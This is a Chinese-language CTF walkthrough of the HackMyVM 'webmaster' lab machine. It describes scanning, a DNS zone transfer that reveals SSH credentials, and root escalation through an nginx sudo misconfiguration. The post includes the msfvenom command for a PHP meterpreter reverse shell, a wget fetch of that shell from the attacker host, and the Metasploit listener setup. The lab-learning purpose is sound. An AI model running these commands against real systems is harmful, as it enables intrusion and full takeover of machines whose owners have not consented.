当前位置:网站首页>HackMyvm靶机系列(1)-webmaster
HackMyvm靶机系列(1)-webmaster
2022-07-06 09:22:00 【月应知我意】
一、信息收集
首先先使用nmap扫描网段,探测存活主机,由于这是校园网主机比较多就不一一找了,使用grep直接找到目标主机。
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
对目标主机进行端口扫描,探测目标开放的服务
nmap -sT -T4 -sV -O -A -sC -p- 192.168.200.8扫描到三个服务,ssh,dns,http

访问一下,发现是一张图片,大致意思就是你把密码保存在哪里?Bitwarden和Keepass百度一下是一种密码管理工具。记住下面那个TXT,是个重要提示。

使用dirsearch扫描一下目录。
dirsearch -u http://192.168.200.8 -e php,html,txt,7z,zip,gz,db,bz2,bak -x 404,301,500-599 -t 30然而并没有发现什么有用信息。

上面图片提示到txt,于是尝试一下使用wfuzz爆破一下txt文件
wfuzz -c --sc=200,302 -w /tools/dict/directory-list-2.3-medium.txt http://192.168.200.8/FUZZ.txt和使用dirsearch一样,一条有用的消息都没有发现

然后查看一下页面源代码,发现一个webmaster.hmv,看上去像是一个域名。于是把它放到host文件中解析,然而并没有什么用。

二、漏洞利用
想到刚才用nmap扫描到有开放dns服务,尝试一下用dig解析一下dns记录
dig axfr @192.168.200.8 webmaster.hmv
#@IP地址 指定DNS服务器
发现这个东西十分可疑,看上去像是一个账号和密码
john:Myhiddenpazzword尝试登录ssh,登录成功


得到第一个flag
三、权限提升
接下来就是提权操作了
sudo -l发现nginx可以以任何用户启动,并且不需要输入密码。
通过查看进程,发现nginx是以root权限启动的。

然后查看网页根目录,发现根目录任何人都拥有删除和写入文件的权限,再加上nginx是以root权限启动的,我们可以通过写入shell,再访问这个shell获得权限。
先查看一下主机信息,是86位的

使用msf生成木马
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.200.130 lport=5555 -f raw -o shell.php
然后目标机上使用wget将木马下载下来
wget http://192.168.200.130:7890/shell.php
赋予执行权限
chmod +x shell.php
在msf上启动监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.200.130
set lport 5555kali访问木马文件,由于nginx是root权限运行的,所访问shell.php文件时得到的是root权限
msf收到会话,权限为root

拿到最后一个flag

边栏推荐
- 【黑马早报】上海市监局回应钟薛高烧不化;麦趣尔承认两批次纯牛奶不合格;微信内测一个手机可注册俩号;度小满回应存款变理财产品...
- Beautified table style
- 2. First knowledge of C language (2)
- 7-11 机工士姆斯塔迪奥(PTA程序设计)
- 实验五 类和对象
- 使用Spacedesk实现局域网内任意设备作为电脑拓展屏
- 杂谈0516
- 【MySQL-表结构与完整性约束的修改(ALTER)】
- Canvas foundation 1 - draw a straight line (easy to understand)
- Experiment 6 inheritance and polymorphism
猜你喜欢

This time, thoroughly understand the MySQL index

Poker game program - man machine confrontation

C language Getting Started Guide

Record a penetration of the cat shed from outside to inside. Library operation extraction flag

C language Getting Started Guide

实验六 继承和多态

Nuxtjs quick start (nuxt2)

SRC mining ideas and methods

强化学习基础记录

Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems
随机推荐
这次,彻底搞清楚MySQL索引
实验八 异常处理
使用Spacedesk实现局域网内任意设备作为电脑拓展屏
canvas基础1 - 画直线(通俗易懂)
. Net6: develop modern 3D industrial software based on WPF (2)
fianl、finally、finalize三者的区别
Callback function ----------- callback
ABA问题遇到过吗,详细说以下,如何避免ABA问题
关于双亲委派机制和类加载的过程
Experiment 4 array
[the Nine Yang Manual] 2021 Fudan University Applied Statistics real problem + analysis
[modern Chinese history] Chapter 6 test
[modern Chinese history] Chapter 9 test
TypeScript快速入门
【数据库 三大范式】一看就懂
Miscellaneous talk on May 14
FAQs and answers to the imitation Niuke technology blog project (II)
5月14日杂谈
JS several ways to judge whether an object is an array
Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a